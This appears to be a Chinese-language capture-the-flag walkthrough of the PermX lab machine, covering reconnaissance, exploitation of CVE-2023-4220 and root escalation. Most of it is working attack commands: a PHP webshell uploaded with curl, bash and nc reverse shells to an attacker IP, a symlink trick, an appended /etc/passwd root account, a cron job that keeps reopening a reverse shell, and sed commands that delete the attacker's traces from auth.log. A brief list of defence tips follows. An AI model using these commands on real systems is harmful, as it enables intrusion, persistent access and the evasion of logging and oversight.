记一次渗透实战之PermX
字数 1162 2025-08-22 12:23:30
PermX渗透实战教学文档
1. 信息收集阶段
1.1 端口扫描
使用nmap进行初步端口探测:
nmap -sS -T4 <目标IP>
发现开放端口:
- 22端口(SSH)
- 80端口(HTTP)
详细扫描:
nmap -sV -sC -p22,80 <目标IP>
1.2 子域名爆破
使用工具如subfinder、assetfinder或amass进行子域名枚举:
subfinder -d <目标域名> -o subdomains.txt
将发现的子域名添加到hosts文件:
echo "<IP> <子域名>" >> /etc/hosts
2. Web应用渗透
2.1 目录爆破
使用dirsearch或gobuster进行目录枚举:
gobuster dir -u http://<目标> -w /path/to/wordlist.txt
2.2 漏洞发现
发现关键文件:
- README.md文件(可能包含版本信息)
- 存在登录页面(潜在认证绕过或注入点)
2.3 CVE-2023-4220漏洞利用
漏洞详情:
- 允许存储型XSS通过webshell导致RCE
- 攻击者可上传.php后缀文件
- 需要存在特定目录:
/main/inc/lib/javascript/bigupload/files
利用步骤:
- 确认漏洞目录存在
- 使用curl上传PHP webshell:
curl -X POST -F "file=@shell.php" http://<目标>/upload_path/
PHP webshell示例:
<?php system($_GET['cmd']); ?>
3. 获取初始访问
3.1 命令执行验证
访问上传的webshell:
http://<目标>/upload_path/shell.php?cmd=id
3.2 反弹shell
使用bash反弹shell:
bash -c 'bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1'
或使用nc:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f
4. 权限提升
4.1 内网信息收集
关键命令:
# 系统信息
uname -a
cat /etc/*-release
# 用户信息
id
whoami
cat /etc/passwd
# 网络信息
ifconfig
netstat -tulnp
# 查找配置文件
find /var/www/html -name "*.conf" -o -name "*.config"
4.2 发现配置文件泄露
常见敏感文件位置:
- /var/www/html/config.php
- /var/www/html/.env
- /var/www/html/configuration.ini
4.3 Linux ACL权限利用
检查特殊权限:
getfacl /path/to/file
发现以root权限运行的脚本:
find / -perm -4000 -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
4.4 利用ACL漏洞提权
- 分析可疑脚本:
cat /path/to/suspicious_script.sh
-
检查脚本中的权限检查逻辑缺陷
-
如果脚本使用
test或[命令进行权限验证,可能通过符号链接绕过:
ln -s /root/.ssh/authorized_keys /tmp/fakefile
- 修改脚本或利用其逻辑缺陷读取敏感文件
4.5 生成密码哈希
使用openssl生成密码哈希:
openssl passwd -1 -salt xyz yourpassword
或使用mkpasswd:
mkpasswd -m sha-512 yourpassword
4.6 添加root用户
编辑/etc/passwd或/etc/shadow:
echo 'root2:$1$xyz$qX78Q9SXz5fPyo90xU.TX.:0:0::/root:/bin/bash' >> /etc/passwd
然后切换用户:
su root2
5. 后渗透操作
5.1 建立持久化访问
- 添加SSH公钥:
echo "<公钥>" >> /root/.ssh/authorized_keys
- 创建cron job:
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'") | crontab -
5.2 清理痕迹
删除日志:
# 清除当前用户相关日志
sed -i '/<你的IP>/d' /var/log/auth.log
sed -i '/<你的用户名>/d' /var/log/auth.log
关键要点总结
- 信息收集要全面:端口扫描和子域名枚举是发现攻击面的基础
- Web应用是常见入口:目录爆破和文件发现往往能揭示关键漏洞
- CVE利用要精准:了解漏洞条件和利用方式,如CVE-2023-4220需要特定目录存在
- 权限提升多路径:从ACL权限、SUID程序到密码哈希破解,多种方式尝试
- 痕迹管理很重要:渗透后要清理日志,避免被发现
防御建议
- 限制上传文件类型和目录权限
- 定期更新和修补已知漏洞
- 最小化系统权限,避免不必要的SUID程序
- 监控系统日志和异常行为
- 使用ACL时要谨慎设置,避免权限逃逸